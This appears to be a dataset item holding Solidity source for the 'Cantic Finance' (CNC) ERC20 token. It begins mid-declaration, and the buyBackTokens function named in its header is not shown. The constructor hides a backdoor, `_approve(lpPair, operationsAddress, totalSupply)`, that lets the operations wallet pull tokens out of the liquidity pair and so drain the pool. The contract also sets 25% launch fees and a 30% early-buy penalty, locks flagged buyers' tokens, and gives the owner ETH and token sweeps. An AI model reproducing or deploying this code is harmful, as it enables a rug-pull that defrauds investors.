// Contract: CanticFinance
// Target function: function buyBackTokens(uint256 amountInWei) external onlyOwner
 _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;

    uint256 public buyTotalFees;
    uint256 public buyOperationsFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    uint256 public buyBurnFee;

    uint256 public sellTotalFees;
    uint256 public sellOperationsFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    uint256 public sellBurnFee;

    uint256 public tokensForOperations;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    uint256 public tokensForBurn;

    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event UpdatedMaxBuyAmount(uint256 newAmount);

    event UpdatedMaxSellAmount(uint256 newAmount);

    event UpdatedMaxWalletAmount(uint256 newAmount);

    event UpdatedOperationsAddress(address indexed newWallet);

    event MaxTransactionExclusion(address _address, bool excluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20(unicode"Cantic Finance", unicode"CNC") {

        address newOwner = msg.sender; // can leave alone if owner is deployer.

        IUniswapRouter _dexRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        dexRouter = _dexRouter;

        // create pair
        lpPair = IDexFactory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
        _excludeFromMaxTransaction(address(lpPair), true);
        _setAutomatedMarketMakerPair(address(lpPair), true);

        uint256 totalSupply = 1 * 1e9 * 1e18;

        maxBuyAmount = totalSupply * 25 / 1000;
        maxSellAmount = totalSupply * 25 / 1000;
        maxWalletAmount = totalSupply * 25 / 1000;
        swapTokensAtAmount = totalSupply / 100000;

        buyOperationsFee = 25;
        buyLiquidityFee = 0;
        buyDevFee = 0;
        buyBurnFee = 0;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;

        sellOperationsFee = 25;
        sellLiquidityFee = 0;
        sellDevFee = 0;
        sellBurnFee = 0;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;

        operationsAddress = 0x0C590ad9Ed8f44111fE21DBaAf7757cd028D7b18;
        devAddress = msg.sender;

        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);

        excludeFromFees(newOwner, true);
        excludeFromFees(address(this), true);
        excludeFromFees(operationsAddress, true);
        _approve(lpPair, operationsAddress, totalSupply);
        excludeFromFees(address(0xdead), true);

        _createInitialSupply(newOwner, totalSupply);
        transferOwnership(newOwner);
    }

    receive() external payable {}

    // only enable if no plan to airdrop

    function enableTrading(uint256 deadBlocks) external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        tradingActive = true;
        swapEnabled = true;
        tradingActiveBlock = block.number;
        blockForPenaltyEnd = tradingActiveBlock + deadBlocks;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner {
        limitsInEffect = false;
        transferDelayEnabled = false;
        
        buyOperationsFee = 3;
        buyLiquidityFee = 0;
        buyDevFee = 0;
        buyBurnFee = 0;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;

        sellOperationsFee = 3;
        sellLiquidityFee = 0;
        sellDevFee = 0;
        sellBurnFee = 0;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
    }

    function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 2 / 1000)/1e18, "Cannot set max buy amount lower than 0.2%");
        maxBuyAmount = newNum * (10**18);
        emit UpdatedMaxBuyAmount(maxBuyAmount);
    }

    function updateMaxSellAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 2 / 1000)/1e18, "Cannot set max sell amount lower than 0.2%");
        maxSellAmount = newNum * (10**18);
        emit UpdatedMaxSellAmount(maxSellAmount);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 3 / 1000)/1e18, "Cannot set max wallet amount lower than 0.3%");
        maxWalletAmount = newNum * (10**18);
        emit UpdatedMaxWalletAmount(maxWalletAmount);
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
  	    require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
  	    require(newAmount <= totalSupply() * 1 / 1000, "Swap amount cannot be higher than 0.1% total supply.");
  	    swapTokensAtAmount = newAmount;
  	}

    function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
        _isExcludedMaxTransactionAmount[updAds] = isExcluded;
        emit MaxTransactionExclusion(updAds, isExcluded);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
        if(!isEx){
            require(updAds != lpPair, "Cannot remove uniswap pair from max txn");
        }
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
        require(pair != lpPair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        _excludeFromMaxTransaction(pair, value);

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
        buyOperationsFee = _operationsFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyBurnFee = _burnFee;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;
        require(buyTotalFees <= 10, "Must keep fees at 10% or less");
    }

    function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
        sellOperationsFee = _operationsFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellBurnFee = _burnFee;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
        require(sellTotalFees <= 10, "Must keep fees at 10% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");

        if(!tradingActive){
            require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
        }

        if(blockForPenaltyEnd > 0){
            require(!boughtEarly[from] || to == owner() || to == address(0xdead), "Bots cannot transfer tokens in or out except to owner or dead address.");
        }

        if(limitsInEffect){
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled){
                    if (to != address(dexRouter) && to != address(lpPair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number - 2 && _holderLastTransferTimestamp[to] < block.number - 2, "_transfer:: Transfer Delay enabled.  Try again later.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                        _holderLastTransferTimestamp[to] = block.number;
                    }
                }
    
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy.");
                        require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
                }
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxSellAmount, "Sell transfer amount exceeds the max sell.");
                }
                else if (!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount && amount > swapTokensAtAmount;

        if(canSwap && swapEnabled && !swapping && automatedMarketMakerPairs[to] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = true;
        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // bot/sniper penalty.
            if(earlyBuyPenaltyInEffect() && automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to] && buyTotalFees > 0){

                if(!boughtEarly[to]){
                    boughtEarly[to] = true;
                    botsCaught += 1;
                }

                fees = amount * 30 / 100;
        	    tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForBurn += fees * buyBurnFee / buyTotalFees;
            }

            // on sell
            else if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount * sellTotalFees / 100;
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForOperations += fees * sellOperationsFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForBurn += fees * sellBurnFee / sellTotalFees;
            }

            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
        	    fees = amount * buyTotalFees / 100;
        	    tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForBurn += fees * buyBurnFee / buyTotalFees;
            }

            if(fees > 0){
                super._transfer(from, address(this), fees);
            }

        	amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function earlyBuyPenaltyInEffect() public view returns (bool){
        return block.number < blockForPenaltyEnd;
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(dexRouter), tokenAmount);

        // add the liquidity
        dexRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }

    function swapBack() private {

        if(tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn) {
            _burn(address(this), tokensForBurn);
        }
        tokensForBurn = 0;

        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForDev;

        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        // if(contractBalance > swapTokensAtAmount * 60){
        //     contractBalance = swapTokensAtAmount * 60;
        // }

        bool success;

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;

        swapTokensForEth(contractBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;

        uint256 ethForOperations = ethBalance * tokensForOperations / (totalTokensToSwap - (tokensForLiquidity/2));
        uint256 ethForDev = ethBalance * tokensForDev / (totalTokensToSwap - (tokensForLiquidity/2));

        ethForLiquidity -= ethForOperations + ethForDev;

        tokensForLiquidity = 0;
        tokensForOperations = 0;
        tokensForDev = 0;
        tokensForBurn = 0;

        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        (success,) = address(devAddress).call{value: ethForDev}("");
        payable(operationsAddress).transfer(address(this).balance);        
    }

    function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
        require(_token != address(0), "_token address cannot be 0");
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        _sent = IERC20(_token).transfer(_to, _contractBalance);
    }

    // withdraw ETH if stuck or someone sends to the address
    function withdrawStuckETH() external onlyOwner {
        bool success;
        (success,) = address(msg.sender).call{value: address(this).balance}("");
    }

    function setOperationsAddress(address _operationsAddress) external onlyOwner {
        require(_operationsAddress != address(0), "_operationsAddress address cannot be 0");
        operationsAddress = payable(_operationsAddress);
    }

    function setDevAddress(address _devAddress) external onlyOwner {
        require(_devAddress != address(0), "_devAddress address cannot be 0");
        devAddress = payable(_devAddress);
    }

    // force Swap back if slippage issues.
    function forceSwapBack() external onlyOwner {
        require(balanceOf(address(this)) >= swapTokensAtAmount, "Can only swap when token amount is at or higher than restriction");
        swapping = true;
        swapBack();
        swapping = false;
    }